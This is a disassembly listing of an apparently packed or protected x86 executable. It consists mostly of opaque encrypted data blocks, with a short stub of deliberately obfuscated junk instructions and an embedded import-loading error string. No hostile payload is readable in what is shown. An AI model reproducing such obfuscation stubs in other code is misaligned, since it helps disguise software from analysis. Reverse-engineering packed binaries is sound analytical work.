		dd 7, 89BB5ADh,	756B0000h, 0DC3A07ADh, 87B5A314h, 22522E5Dh
		dd 76DFDB4Eh, 377EF342h, 0D3C89CEh, 0DB4EEF73h,	0FAC56B33h
		dd 0D12E4291h, 0F4236804h, 0D1380BD7h, 31D7A200h, 0D9A60FE2h
		dd 1D3CAAAh, 59FFCCD5h,	0BD632E8Ch, 79EBCFF0h, 0AB990773h
		dd 5B731630h, 31C5B6h, 0F8030000h, 1B4A8FDDh, 0D1382068h
		dd 8F35015Fh, 2F0251C2h, 5FACF9C6h, 2205030h, 2978E1D5h
		dd 2207AFAh, 0AC9806D5h, 5B421131h, 0C6C6B6h, 75040000h
		dd 0AC521AADh, 38056EDFh, 9E6B11DAh, 5D27840h, 0F439DFA7h
		dd 0DB8149A7h, 4F20CCB4h, 0A6FC65DBh, 0FA6B38DEh, 6EE697ABh
		dd 0E8DB4F25h, 8E6E7A20h, 785320C6h, 7DCA0F5Dh,	0C3215C41h
		dd 9DEC073Eh, 37A0816Eh, 1B2790D1h, 105517BEh, 0F20BAEE1h
		dd 0F53AA3CAh, 1D4CCE97h, 0CEB19D63h, 0AB078CEh, 0A6F338A1h
		dd 0B19E0977h, 0B4E328CEh, 0CEB19DCCh, 4493FC65h, 0E1875030h
		dd 78E2D2C9h, 87A57A98h, 0AE3h,	5F6B11D7h, 20EB47Fh, 0A6B25822h
		dd 4753F9C6h, 0ECF89E67h, 0C891C6EAh, 6F361622h, 11DDBDC9h
		dd 0B77F5F6Bh, 0A16E0511h, 0FB1F0E72h, 0D81823D4h, 0FA06AC75h
		dd 0F4E1521Ah, 0BB762B6Eh, 0B5FF0B74h, 760A3986h, 0BBDB4F20h
		dd 0AD280352h, 0E02D7ABFh, 4F20CFB1h, 0AAF962DBh, 3821087Bh
		dd 1983BFD1h, 36960A94h, 0CD360958h, 0AFA3D100h, 6FDDD501h
		dd 0A7D623F5h, 0D501AFD9h, 3AA0EF58h, 0B65B3328h, 0C9CFh
		dd 0AD750D00h, 0B1ED3A07h, 9C072B38h, 0A5035200h, 3A6936DCh
		dd 0DB4E781Ah, 0C2CE743Ch, 0A7741AE2h, 0C031FC5Ah, 0AD3D9FE2h
		dd 27F45D35h, 0F25B01C9h, 85317BEh, 64B30C7Bh, 0DB204C89h
		dd 37CD43ACh, 8C9ACED1h, 61F4B35Ch, 48A5B11Ah, 6B9ADF8Dh
		dd 0CAF2A915h, 216EB31Ch, 8855FBC3h, 0A16AC817h, 38A1470Eh
		dd 25CB95F3h, 0C591E758h, 0DCBCD01Fh, 0B0556D13h, 0FC987981h
		dd 9E10927h, 13D90000h,	0B681616Dh, 5A240410h, 0FBC8A8B4h
		dd 0A0694955h, 0C4ECEEFAh, 1824CA93h, 0BFCB7138h, 616D13DFh
		dd 713B981h, 0C74A370h,	25D4FB1Eh, 0AC75DA1Ah, 2085FB2Ah
		dd 43ACDB4Fh, 26EECEDAh, 0D37946A4h, 4F20D4ACh,	8BF45DDBh
		dd 0AD75357Fh, 9C64C207h, 30993F09h, 0CEA3F263h, 4D15A870h
		dd 69DAA7h, 684591F4h, 6DBAFF6Dh, 4F20423Eh, 0F59B64DBh
		dd 0F48DC12Ah, 96B26BBAh, 6D9CE938h, 0D13756F2h, 254E96FFh
		dd 0AC623A30h, 0FB402CA9h, 24E54FCCh, 6C39A221h, 1D4C4491h
		dd 24EECD63h, 9D67C43h,	0FB64CD98h, 0ED1C69B6h,	24EECD93h
		dd 0B7E6359Eh, 1ADC4416h, 2F8DD23Bh, 0D5B5C167h, 20B37A0Dh
		dd 7744AD53h, 0FA859D06h, 222855A8h, 90D2F4Dh, 0E7AD0000h
		dd 8A553541h, 2EF8D8E4h, 0CF9C7C88h, 743D1D29h,	28C0C2CEh
		dd 0ECF89E67h, 939F450Ch, 3541E7B3h, 0DBE78D55h, 38487744h
		dd 0F9D4FB1Ch, 0AD75AEEEh, 8FED3A07h, 0F3CE1DC3h, 7D69BFE2h
		dd 7C49EFB8h, 98EDD70Bh, 6493D841h, 0D137588Fh,	97E42992h
		dd 9C80E4Ah, 0A7E84357h, 7B0080h, 33D9A6D5h, 52B0FF68h
		dd 3D9BE086h, 6A7ECD73h, 4B18BE8Ah, 0FE82B1FEh,	33D5007Ah
		dd 344C7BCAh, 0A1D5007Ah, 0D5008AD3h
		dd 98DD8F46h, 0E9951A69h, 79BE27CAh, 0DFAC521Bh, 0FD4A1F6Eh
		dd 4E39F1C1h, 22715F9Dh, 3E56FCC4h, 987E4E3Dh, 5CDEFCD1h
		dd 5E000008h, 6E6F298h,	0A989953Bh, 4D2D39DFh, 0EECEDA80h
		dd 71737F25h, 0AB511A7Fh, 52F8BF9Fh, 0F49A6646h, 9A4008E8h
		dd 0FB2AF78Eh, 0D4FB1C85h, 0F861A1ACh, 0FD4A8FDDh, 0DB31D79Fh
		dd 2A9B680Eh, 4AD7ACDBh, 366AD138h, 0FA4ACBF9h,	0FECB347Ah
		dd 315975B1h, 8A977326h, 0DC4D1AC0h, 0FBC62473h, 9E694955h
		dd 8955B3F8h, 56A516E3h, 3B31A681h, 971C7F6h, 47B0D502h
		dd 0CF75597Ah, 9FAB511Ch, 20786EEh, 2C4493D5h, 964B8E7h
		dd 248DD502h, 0DA6D3818h, 2D9E6B11h, 0A4C8F7C4h, 1FD50208h
		dd 0BD6093Bh, 7265A89h,	0B50BD502h, 73DC45EBh, 16BC8767h
		dd 93C0FC49h, 9838F0B8h, 0EC5887D6h, 7D5012Ch, 741AE442h
		dd 588BB925h, 882EFA8Dh, 2A6C1443h, 5CC5D501h, 4D8AE7F3h
		dd 0C8ABDA1Fh, 59D5012Ah, 0E7F423F0h, 6940DF8Fh, 501BDE1Ah
		dd 57B59744h, 2DA89C08h, 0CAB9E615h, 1A0C2h, 0DDF80000h
		dd 9FFD4A8Fh, 0AFDE2DD3h, 0D1384A08h, 0D6BB019h, 2112D445h
		dd 0B736372Dh, 0ADCD094Eh, 0D19B2C5h, 0BFC1F035h, 72D5017Fh
		dd 0D7A6BA09h, 0B908AE79h, 20ED935Bh, 3A975D3h,	723FE5ADh
		dd 5F83B201h, 749E92Ch,	6DCB983Eh, 0D2EFBA1h, 47B53B29h
		dd 1B2DBCF8h, 0A8124612h, 0AC4C3463h, 7CE54DBAh, 6083C12Dh
		dd 4FADF298h, 7C90DF85h, 612ED49Ch, 612E5186h, 664652BBh
		dd 0C826F399h, 7F4E5A00h, 0CAB6E532h, 674DBAACh, 0ACA9D7FEh
		dd 1F884DBAh, 4AA72D0h,	0C08CEA37h, 0F2BF652Dh,	0F8C21881h
		dd 0FED40352h, 0B0B86662h, 17DF0242h, 0BD856571h, 686F4A17h
		dd 0EC94C308h, 0CBDB2FF6h, 0C3BD5A8Fh, 148552F8h, 0CA1837E0h
		dd 9FEE57FDh, 775763CCh, 87C308AEh, 7617812Ch, 0B085D4F9h
		dd 256A02D5h, 2F9186F6h, 3642ABDBh, 1BE88E56h, 814EF4BDh
		dd 15C87C60h, 1562A74Dh, 91E799C8h, 0E14ADB2Fh,	2F91C6BAh
		dd 0B3026BDBh, 0A872D09Fh, 0D5A24815h, 87B6FB64h, 0DB2F91F9h
		dd 2280CF38h, 336FB45Ah, 0CBFA0938h, 0DB2F81B5h, 73DF137Ch
		dd 0B388D7B6h, 2C71FFD8h, 2F268BFDh, 414DB6DBh,	70773672h
		dd 3992F1C8h, 1EC48CEAh, 8127F351h, 7117DE3Ch, 0FF654D22h
		dd 34DAA245h, 0D01D5928h, 8FCA6F85h, 0EBB31160h, 3A9D7845h
		dd 0C6BEED32h, 7BDB3008h, 5A260612h, 4D9AE7B4h,	3008621Eh
		dd 0D57B44DBh, 7752A10Ah, 7ECB1060h, 3008314Fh,	4AA75DBh
		dd 3481D039h, 30078B05h, 515DC6DBh, 7AD7507h, 0F39964C2h
		dd 5266B526h, 478CE0F5h, 62D39CFAh, 88D219B1h, 0AAF9625Bh
		dd 3822E47Bh, 5FA40DD1h, 59ECB412h, 0AD1EEB91h,	0B7067744h
		dd 0DBE78D59h, 0BC892FFBh, 0A14336Fh, 0CF4FE6Fh, 79F3E2BDh
		dd 6309D634h, 0B1E02596h, 0D5016DCFh, 5DAAF962h, 0EA99C52Eh
		dd 26F35CCAh, 0B4517DF7h, 33399CCEh, 0F465A1EEh, 3AE22BB7h
		dd 8CF42368h, 0A5CEB4B2h, 0C5BEED3Ch, 7CC49DDCh, 20E84613h
		dd 0F9C3627Ah, 16EB8602h, 532F8h, 1CC28800h, 0BF653010h
		dd 6309D3B3h, 4AA7757h,	0A94F18F8h, 44159B9Dh, 0E9C9D57Bh
		dd 90707C22h, 32121EC4h, 21B8C46Ah, 185B2554h, 0CBD6D4FBh
		dd 8FDDF88Bh, 0DAC1FD4Ah, 0F39249DCh, 842F5180h, 9902DB4Eh
		dd 41B2E130h, 66D13797h, 0D99CAA2Ah, 0CE24C6CAh, 3A0D5C02h
		dd 87508CD1h, 0BE7E9CC7h, 4856C6A1h, 62B38C14h,	640F3E13h
		dd 32D50143h, 97F5C268h, 0E25825CBh, 0F22FF074h, 0F91C2DA2h
		dd 0EB59C52Eh, 8BE47E79h, 0AB13B65Bh, 51000000h, 4F2280A4h
		dd 0D6B4E3DBh, 8D5C680Eh, 86990440h, 2816E686h,	4EB17F01h
		dd 0FA49B2DBh, 6EB3BB1Fh, 4EB1493Fh, 77B3F8DBh,	0CB9C04C3h
		dd 641C43A9h, 0CDDB4E3Ch, 0D02EFB64h, 6AC7508h,	0A634919Dh
		dd 0DE3C89CEh, 33A47117h, 3CD3B5E4h, 56EDB4Eh, 6C12DA38h
		dd 6B339160h, 3F9B76C5h, 51C3F237h, 90DB4E3Eh, 3C641C4Bh
		dd 64CDDB4Eh, 75FF2EFBh, 5EDB4E7Ch, 86AD5D99h, 0EC1E22D2h
		dd 5333319Dh, 7BAAEF87h, 0DB4D9299h, 3C9ADF48h,	7016E275h
		dd 0FCC932A3h, 88283C8Bh, 0B5h,	433D6CB9h, 0EEDB4D90h
		dd 0C0662F85h, 0DDF8A971h, 681B4A8Fh, 0D9D1384Ah, 7E45A370h
		dd 6D3593D8h, 1A771C7h,	9A419EB2h, 0E2408DD2h, 37A8751Bh
		dd 1F67010h, 258C1D5h, 0F7449339h, 1F6B4C8h, 0CF147DD5h
		dd 0F72D5382h, 9B04D501h, 0FE324567h, 0D5C07B2h, 9A6C0938h
		dd 0A614D501h, 0B82343BEh, 4ED8B65Bh, 91000000h, 6BC16733h
		dd 0BB2CF99Fh, 0E3F8A46Ch, 21EA488Dh, 0B0DF2C7Bh, 0DB4F20D0h
		dd 0CD2BF861h, 2B558406h, 6DB4F21h, 0CB28349Dh,	0F4236810h
		dd 0DB4F2250h, 8CBB88F1h, 0DB4F60E8h, 2D5D07EBh, 5281C6AEh
		dd 0DB4EE1F2h, 872DF94Fh, 0D4E049BAh, 7AD758Ah,	6E14DC3Ah
		dd 9CD00562h, 0DE71B57h, 0E6294878h, 0B01B4A97h, 0A1D137DDh
		dd 0F011824Bh, 4BA36FFFh, 713EA7h, 307DCA97h, 1C37F01h
		dd 0B75D27D5h, 45AE79EAh, 0C3ADC7F6h, 65D3D501h, 636204FFh
		dd 78B4B65Bh, 127735Ch,	56BE0D26h, 2Ah,	5D288694h, 488D68B7h
		dd 0BA81DF24h, 4978C514h, 0D138203Ah, 0A2D19E07h, 0D5021FD2h
		dd 0D90440AEh, 0B65B4349h, 11C6Eh, 2886AC00h, 0D3ADDC5Eh
		dd 5EDB4F20h, 0DF3D8CF5h, 0DF2C7117h, 4F20D0B0h, 670DD6DBh
		dd 0F55E299Ah, 0AA73D1A6h, 11D93704h, 78409E6Bh, 3F15C6D2h
		dd 28DB4F25h, 0B5A00CAh, 333FE5ADh, 0BC3E0664h,	4F1BF38Dh
		dd 6CD53EDBh, 0D177419Fh, 0D42A9304h, 25966309h, 0AB078D6h
		dd 30E989C5h, 0A36A1645h, 5EC7DB4Eh, 4296C82Ah,	0AF7C22ECh
		dd 3F1AEF3Eh, 4491D696h, 4F096B15h, 75DC6DBh, 5CCD9A40h
		dd 0E91C00Dh, 0E3D1383Ch, 0C4116E7Ah, 3E0563A8h, 0AFFC4998h
		dd 0F9FB2673h, 276C21C2h, 1B188F8h, 0F140A9D5h,	0F26A36C2h
		dd 0F52471CAh, 0CEB1FA8Bh, 1BEE3DA6h, 35C90AE7h, 547D11A6h
		dd 1AC2F6DCh, 266BD41Bh, 4D59FFC8h, 4911A46Dh, 35223AA3h
		dd 0A1987814h, 1FDAECCh, 0F7BD0000h, 9A654551h,	3E08E8F4h
		dd 0DFAC8C98h, 844D2D39h, 0D8D0D2DEh, 0FC08AE77h, 0A3AF551Ch
		dd 4551F7C3h, 0EBF79D65h, 28588754h, 9D4FB16h, 3986BEFEh
		dd 4F20760Ah, 352BBDBh,	2A36DCA5h, 0D0DC824Ah, 8FDDF886h
		dd 33C1FD4Ah, 776A10A4h, 414271C0h, 0D13811h, 0E9165297h
		dd 0D287A34h, 519E73C2h, 600AC315h, 844E5DD3h, 37A011DEh
		dd 0F8BBB9E8h, 57C5D501h, 6A50F2EDh, 0F287B65Bh, 40000000h
		dd 22C895F3h, 20485FBh,	8D56ACD5h, 0C24A7EE7h, 9C7FC1F3h
		dd 759860AFh, 0DC3A07ADh, 53A06D13h, 20A9D706h,	1F88DB4Fh
		dd 25B3A1D0h, 0DBA3DB4Fh, 0C992F035h, 96E55623h, 34DAA282h
		dd 36498C67h, 85F6C369h, 3D8AD71Ch, 9F6C12DFh, 1B79072Eh
		dd 4FB8DB4Fh, 4DCED100h, 6DA9D138h, 13420C0Ch, 0D501A46Dh
		dd 4D275BC4h, 9F72C1BEh, 8CD2A36h, 27F01F64h, 0BACAF1ECh
		dd 83BF0C51h, 0A104001Bh, 0BC1A695Ah, 3E4271F3h, 0F3CEB1F2h
		dd 3515218Ah, 670DD96Ch, 0B5E4299Ah, 0CEB1F2CBh, 7C94FD66h
		dd 98784FC5h, 0D0FE1CF1h, 0EA000000h, 92727E24h, 351521C7h
		dd 0D9B9C56Bh, 7A5A660Ch, 0FDFF0BB1h, 37DDA6EBh, 0DE844B2Bh
		dd 8026F2D2h, 26CC9474h, 87B6831Ah, 0D4FB14F9h,	75ED2D38h
		dd 1AFA06ACh, 0D1A0AC52h, 0C106AC73h, 4F20EE92h, 8BDA43DBh
		dd 7AD75C3h
		dd 6E14DC3Ah, 0AFD00562h, 1EE83EE4h, 9BCA0F78h,	0D12322ACh
		dd 4AF0BD1Bh, 0EABD0C7Dh, 8E56B481h, 0D9A033FBh, 8CFDCA33h
		dd 6F371723h, 51AFFCC9h, 842AF487h, 8EDD46B7h, 0F79D6D5Fh
		dd 0FA8D591Ch, 54218A30h, 0B68329F6h, 61B3B195h, 0FFA54E32h
		dd 117AE3BCh, 0DC0F35A3h, 10B68114h, 0F3BB9BA7h, 0E7437882h
		dd 0E24BE2BFh, 44EAB715h, 0F2725677h, 95A1470Fh, 7A47EDB5h
		dd 5F05CF2Dh, 0B4D22192h, 3, 758C546Ah,	0DE3C09AFh, 45A37016h
		dd 0A806D379h, 106E3BE1h, 76D4A147h, 0DC3A07ADh, 3E9C690Fh
		dd 0A301CE74h, 0E86532D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	3D7Bh
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, 654009Ch
		push	eax
		add	dword ptr [esp], 20FD1DA0h
		pop	ebx
		sub	ebx, 20FD1DA0h
		pop	eax
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		db 32h
		dd 0BA61ADA4h, 0B8EC1351h, 6540D6Ah, 0E0FFC503h, 778ACF63h
		dd 0F708D0Fh, 2C1B4F49h, 3C2E1763h, 0A8565E7h, 2E4CFA74h
		dd 5CC6376h, 679C9A41h,	17D5A5F9h, 67C73DB9h, 0CF16CA8h
		dd 42686554h, 3036F742h, 63A3EA55h, 0EE28D8Dh, 6A0654h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 91C685C3h, 1E59AA28h, 998D899Eh, 8B064D05h, 4D2DDD9Dh
		dd 1D85C706h, 0B8064D05h, 89000058h, 4D2F3985h,	0E985C706h
		dd 64D02h, 0E9000000h, 6, 0E6E27DD0h, 0B5FFCE43h, 64D002Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 40C35646h
		dd 564F2202h, 25E9BD8Bh, 95FF064Dh, 64D2E55h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 19C35040h, 0EF2C1203h
		dd 8B663432h, 0FF006AD6h, 4D051195h, 0EBC08B06h, 234BFC29h
		dd 7FF60C50h, 0AD2C18A9h, 0CEF6DDF9h, 0ABB7801h, 98891BD7h
		dd 0B338BA3Eh, 0A8B530C7h, 63B6B160h, 22FBB9EAh, 27E95D8Eh
		dd 50000001h, 0AC73765Bh, 154EEFh, 41000000h, 7245206Eh
		dd 20726F72h, 20736168h, 7275636Fh, 20646572h, 6C696877h
		dd 6F6C2065h, 6E696461h, 6D692067h, 74726F70h, 0AC370073h
		dd 5CEB77E7h, 3C4977E7h, 0E21F77E7h, 0E30077F7h, 77F7h
		dd 777E6h, 5 dup(0)
		dd 0A5FD0000h, 77E7h, 2Bh dup(0)
		dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 7DFB8F96h
		dd 13113458h, 7735B11Ch, 66427F15h, 35722B61h, 77A9F29Eh
		dd 0EF883211h, 2B614790h, 73BFBF13h, 99177DA2h,	0E5D069C6h
		dd 2B4423A8h, 71563213h, 77A96145h, 0EF883211h,	2B614790h
		dd 62BFBF13h, 99177DA1h, 0EDD069C6h, 2F9B1D5h, 6624661Ah
		dd 6601B61Ah, 0E3053215h, 6017EB80h, 0E3AFE2EAh, 6042EBD0h
		dd 0E34EE2EAh, 600914F0h, 0DE705A43h, 0D3EEAEBDh, 60C5393Ch
		dd 1393B798h, 0B6DD3445h, 7794B79Ch, 0E3053458h, 60102221h
		dd 73A7BF45h, 3617661Ah, 4285A7EAh, 0E3833458h,	606F1F78h
		dd 66113215h, 406DB7D3h, 0E013458h, 0E8505B7Ch,	722087EAh
		dd 0E3053458h, 60090B13h, 0E3ABE2EAh, 605C39C0h, 406DB7D3h
		dd 0E073458h, 0FA45594Bh, 722087EAh, 0E3053458h, 60090B13h
		dd 0E3ABE2EAh, 60453D59h, 406DB7D3h, 0E103458h,	88405A3Ch
		dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453D45h
		dd 406DB7D3h, 0E013458h, 0BC420AD7h, 722087EAh,	0E3053458h
		dd 60090B13h, 0E3ABE2EAh, 60453D41h, 74098F96h,	69443458h
		dd 66227790h, 8394F415h, 238E7F33h, 463AB47Dh, 5797CDEFh
		dd 0EB177F01h, 2BB13490h, 0EF94CD13h, 322D6A90h, 8394F413h
		dd 2A8E7F33h, 4094F17Dh, 5797CDF5h, 0EB177F01h,	2BB13490h
		dd 0EF94CD13h, 322D6E90h, 6651DB13h, 0E34E3215h, 600914F0h
		dd 822F5A47h, 0D3EE8E5Fh, 60C51EF4h, 5F42B798h,	0B6DD3458h
		dd 6949B79Ch, 0E34E3441h, 600914F0h, 2C6A5A47h,	0D3EE9459h
		dd 60C51EF4h, 5F42B798h, 0B6DD3458h, 694DB79Ch,	0E34E3441h
		dd 600914F0h, 0D2C85A47h, 0D3EECF57h, 60C52624h, 5F42B798h
		dd 0B6DD3458h, 6904B79Ch, 0E34E3458h, 600914F0h, 0CE815A62h
		dd 0D3EEC182h, 60C510D4h, 5F42B798h, 0B6DD3458h, 6B40B79Ch
		dd 0E34E3458h, 600914F0h, 57355A47h, 0D3EEB8C8h, 60C52624h
		dd 5F42B798h, 0B6DD3458h, 4858B79Ch, 0E34E3458h, 600914F0h
		dd 0B1B5A43h, 0D3EEE60Ah, 60C5393Ch, 1393B798h,	0B6DD3445h
		dd 479CB79Ch, 0E34E3458h, 600914F0h, 76585A52h,	0D3EEB3C9h
		dd 60C52624h, 5F42B798h, 0B6DD3458h, 6CD8B79Ch,	0E34E3458h
		dd 600914F0h, 0D3C05A52h, 0D3EEB81Ah, 60C52624h, 5F42B798h
		dd 0B6DD3458h, 696DB79Ch, 0DB0B3441h, 6009157Ch, 37A63D15h
		dd 0A0113213h, 2BAED790h, 8F2C7E13h, 99FBE809h,	2B0503A0h
		dd 600DBF13h, 99427F2Ch, 0EA7BBC5h, 0A017661Ah,	2BAED790h
		dd 0A82C7E13h, 99FF46CBh, 2B0503A0h, 600DBF13h,	99427F2Ch
		dd 0AA7BBC5h, 0A017661Ah, 2BAED790h, 592C7E13h,	9995B397h
		dd 2B0503A0h, 600DBF13h, 99427F2Ch, 16A7BBC5h, 0A017661Ah
		dd 2BAED790h, 7E2C7E13h, 99911D55h, 2B0503A0h, 600DBF13h
		dd 99427F2Ch, 16A7BBC5h, 0A017661Ah, 2BAED790h,	722C7413h
		dd 9998EC13h, 2B0503A0h, 600DBF13h, 99427F2Ch, 1EA7BBC5h
		dd 0A017661Ah, 2BAED790h, 1C2C7513h, 99A3EE05h,	2B0503A0h
		dd 600DBF13h, 99427F2Ch, 0E6A7BBC5h, 0A017661Ah, 2BAED790h
		dd 0CA2C7513h, 99CDB59Bh, 2B0503A0h, 600DBF13h,	99427F2Ch
		dd 0E2A7BBC5h, 0A017661Ah, 2BAED790h, 0B42C7513h, 99F6A8B2h
		dd 2B0503A0h, 600DBF13h, 99427F2Ch, 0EEA7BBC5h,	0A017661Ah
		dd 2BAED790h, 622C7513h, 9998F32Ch, 2B0503A0h, 600DBF13h
		dd 99427F2Ch, 0EAA7BBC5h, 0E517661Ah, 2BA3BFA8h, 46313213h
		dd 40C7B7D3h, 0E563458h, 86FA1F72h, 727587EAh, 0E3AF3458h
		dd 605C0B13h, 0E301E2EAh, 60103D85h, 40C7B7D3h,	0E563458h
		dd 0E8A181A4h, 727587EAh, 0E3AF3458h, 605C0B13h, 0E301E2EAh
		dd 60103D81h, 40C7B7D3h, 0E523458h, 0A6FE78B2h,	727587EAh
		dd 0E3AF3458h, 605C0B13h, 0E301E2EAh, 60103D8Dh, 40C7B7D3h
		dd 0E5D3458h, 9DEE5EFEh, 448587EAh, 0E3AF3458h,	605C0B13h
		dd 0E301E2EAh, 60102239h, 40C7B7D3h, 0E553458h,	0DDFBBC40h
		dd 727587EAh, 0E3AF3458h, 605C0B13h, 0E301E2EAh, 60103D89h
		dd 40C7B7D3h, 0E523458h, 0DA065CE9h, 727587EAh,	0E3AF3458h
		dd 605C0B13h, 0E301E2EAh, 60103DB5h, 40C7B7D3h,	0E423458h
		dd 0A0980CBFh, 727587EAh, 0E3AF3458h, 605C0B13h, 0E301E2EAh
		dd 60103DB1h, 763B8F96h, 69113458h, 6688D291h, 83C1F415h
		dd 20247F33h, 0F0DF037Dh, 573DCDEFh, 0EB427F01h, 2B1B3490h
		dd 0EFC1CD13h, 32983290h, 83C1F413h, 20247F33h,	0C12BE47Dh
		dd 573DCDE9h, 0EB427F01h, 2B1B3490h, 0EFC1CD13h, 32982290h
		dd 83C1F413h, 20247F33h, 9AB5327Dh, 573DCD87h, 0EB427F01h
		dd 2B1B3490h, 0EFC1CD13h, 32982690h, 83C1F413h,	20247F33h
		dd 0B25E587Dh, 573DCDE3h, 0EB427F01h, 2B1B3490h, 0EFC1CD13h
		dd 32982A90h, 83C1F413h, 20247F33h, 0AB41D57Dh,	573DCD81h
		dd 0EB427F01h, 2B1B3490h, 0EFC1CD13h, 32983690h, 83C1F413h
		dd 20247F33h, 4465097Dh, 573DCDA4h, 0EB427F01h,	2B1B3490h
		dd 0EFC1CD13h, 32983A90h, 83C1F413h, 20247F33h,	1FFBDF7Dh
		dd 573DCDCAh, 0EB427F01h, 2B1B3490h, 0EFC1CD13h, 32983E90h
		dd 0EBF9B113h, 66247F3Eh, 0E3D71260h, 60C514F0h, 861A5A46h
		dd 0D3DDFCABh, 605C2624h, 5F8EB798h, 0B6BB3458h, 698AB79Ch
		dd 0E3D73441h, 60C514F0h, 38C35A52h, 0D3DDF5A4h, 605C2624h
		dd 5F8EB798h, 0B6BB3458h, 698EB79Ch, 0DB923441h, 60C51998h
		dd 0A0644715h, 2B04D790h, 63797513h, 996E506Bh,	2B5003A0h
		dd 60A7BF13h, 99177F2Ch, 0D60DBBC5h, 0A042661Ah, 2B04D790h
		dd 90797113h, 991A481Ch, 2B5003A0h, 60A7BF13h, 99177F2Ch
		dd 0D20DBBC5h, 0A042661Ah, 2B04D790h, 46797113h, 99741382h
		dd 2B5003A0h, 60A7BF13h, 99177F2Ch, 0DE0DBBC5h,	0E542661Ah
		dd 2B09BFA8h, 26643213h, 406DB7D3h, 0E073458h, 0ED229A16h
		dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DD5h
		dd 406DB7D3h, 0E073458h, 837904C0h, 722087EAh, 0E3053458h
		dd 60090B13h, 0E3ABE2EAh, 60453DA9h, 406DB7D3h,	0E073458h
		dd 8C8800F4h, 722087EAh, 0E3053458h, 60090B13h,	0E3ABE2EAh
		dd 60453DD1h, 406DB7D3h, 0E073458h, 0E2D39E22h,	722087EAh
		dd 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DDDh, 406DB7D3h
		dd 0E0B3458h, 0F117A2C1h, 722087EAh, 0E3053458h, 60090B13h
		dd 0E3ABE2EAh, 60453DD9h, 406DB7D3h, 0E0B3458h,	9F4C3C17h
		dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DC5h
		dd 406DB7D3h, 0E093458h, 0AE154B5Ch, 722087EAh,	0E3053458h
		dd 60090B13h, 0E3ABE2EAh, 60453DCDh, 406DB7D3h,	0E093458h
		dd 0BAD57F9Ch, 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh
		dd 60453DC1h, 406DB7D3h, 0E113458h, 0FA391F22h,	722087EAh
		dd 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DC9h, 406DB7D3h
		dd 0E073458h, 0B4F7C23Fh, 722087EAh, 0E3053458h, 60090B13h
		dd 0E3ABE2EAh, 60453DF5h, 406DB7D3h, 0E163458h,	9B6086FFh
		dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 605C3D00h
		dd 406DB7D3h, 0E033458h, 84BA6B8Ch, 722087EAh, 0E3053458h
		dd 60090B13h, 0E3ABE2EAh, 60453DF1h, 406DB7D3h,	0E033458h
		dd 0D7DF52D7h, 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh
		dd 60453DFDh, 406DB7D3h, 0E033458h, 0B984CC01h,	722087EAh
		dd 0E3053458h, 60090B13h
		dd 0E3ABE2EAh, 60453DF9h, 406DB7D3h, 0E1B3458h,	0F872C07Dh
		dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DE5h
		dd 406DB7D3h, 0E0B3458h, 0A1DE492Ah, 722087EAh,	0E3053458h
		dd 60090B13h, 0E3ABE2EAh, 60452209h, 406DB7D3h,	0E033458h
		dd 9C795C59h, 722087EAh, 0E3053458h, 60090B13h,	0E3ABE2EAh
		dd 60452235h, 406DB7D3h, 0E033458h, 0A52416D8h,	722087EAh
		dd 0E3053458h, 60090B13h, 0E3ABE2EAh, 60452231h, 406DB7D3h
		dd 0E1B3458h, 0B29952D9h, 722087EAh, 0E3053458h, 60090B13h
		dd 0E3ABE2EAh, 60453DE1h, 406DB7D3h, 0E1B3458h,	0F8CB665Bh
		dd 722087EAh, 0E3053458h, 60090B13h, 0E3ABE2EAh, 60453DEDh
		dd 406DB7D3h, 0E1B3458h, 0B7311A5Dh, 722087EAh,	0E3053458h
		dd 60090B13h, 0E3ABE2EAh, 60453DE9h, 66E0367Fh,	0E443205h
		dd 66222215h, 0F3EE327Fh, 60C52390h, 419DB79Ch,	0E3AF3458h
		dd 6042E12Dh, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h
		dd 770DA7EAh, 0E3CD3458h, 606F2368h, 69A4B79Ch,	26E23458h
		dd 6654327Dh, 66225A15h, 667B3214h, 770DA7EAh, 0E3CD3458h
		dd 606F2A30h, 6B50879Eh, 0FB033458h, 60091DDCh,	4457879Ch
		dd 0FB983458h, 60C534CCh, 498DAF9Eh, 6DA93458h,	6911CB96h
		dd 6682ED91h, 6156215h,	0E3ABF226h, 605C3638h, 66880EABh
		dd 42303115h, 658F5435h, 0ED311651h, 128B4A65h,	18CF1231h
		dd 0D79FBB0Dh, 0E3177F34h, 6C0D3DEAh, 8E443215h, 6622231Bh
		dd 6611A3FCh, 0B1036315h, 0EF40E07Eh, 2B03E780h, 0E155813h
		dd 66882215h, 99445847h, 2B33B780h, 2794BB13h, 0ED8E7F05h
		dd 0B9AC6BC5h, 30223205h, 425531B8h, 0B903A531h, 0C8840042h
		dd 99DBB71Ah, 4D4FCDEAh, 0B10360EEh, 419D8F9Eh,	0AFA13458h
		dd 0ECD101EAh, 20490013h, 0A7C3369Eh, 0AE113AFCh, 8C943D5Fh
		dd 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch, 0E3EE6011h, 60C53638h
